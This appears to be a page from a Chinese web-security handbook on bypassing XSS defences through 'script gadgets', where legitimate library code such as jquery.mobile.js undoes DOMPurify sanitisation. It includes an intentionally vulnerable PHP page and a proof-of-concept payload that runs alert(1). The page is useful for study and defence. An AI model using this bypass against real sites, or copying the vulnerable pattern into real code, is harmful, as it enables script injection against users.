- 目录
- 1. 序章
- 2. 计算机网络与协议
- 3. 信息收集
- 4. 常见漏洞攻防
- 5. 语言与框架
- 6. 内网渗透
- 7. 云安全
- 8. 防御技术
- 9. 认证机制
- 10. 工具与资源
- 11. 手册速查
- 12. 其他
文章来源于网络收集而来,版权归原创者所有,如有侵权请及时联系!
4.2.9.3. Bypass Via Script Gadgets
4.2.9.3. Bypass Via Script Gadgets
4.2.9.3.1. 简介
一些网站会使用白名单或者一些基于DOM的防御方式,对这些方式,有一种被称为 Code Reuse
的攻击方式可以绕过。该方式和二进制攻防中的Gadget相似,使用目标中的合法代码来达到绕过防御措施的目的。在论文 Code-Reuse Attacks for the Web: Breaking Cross-Site Scripting Mitigations via Script Gadgets
中有该方法的具体描述。
portswigger的一篇博文也表达了类似的想法 https://portswigger.net/blog/abusing-javascript-frameworks-to-bypass-xss-mitigations
。
下面有一个简单的例子,这个例子使用了 DOMPurify
来加固,但是因为引入了 jquery.mobile.js
导致可以被攻击。
4.2.9.3.2. 例子
// index.php <?php $msg = $_GET['message']; $msg = str_replace("\n", "", $msg); $msg = base64_encode($msg); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Preview</title> <script type="text/javascript" src="purify.js"></script> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="jquery.mobile.js"></script> </head> <body> <script type="text/javascript"> var d= atob('<?php echo $msg; ?>'); var cleanvar = DOMPurify.sanitize(d); document.write(cleanvar); </script> </body> </html>
// payload <div data-role=popup id='--> <script>alert(1)</script>'> </div>
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论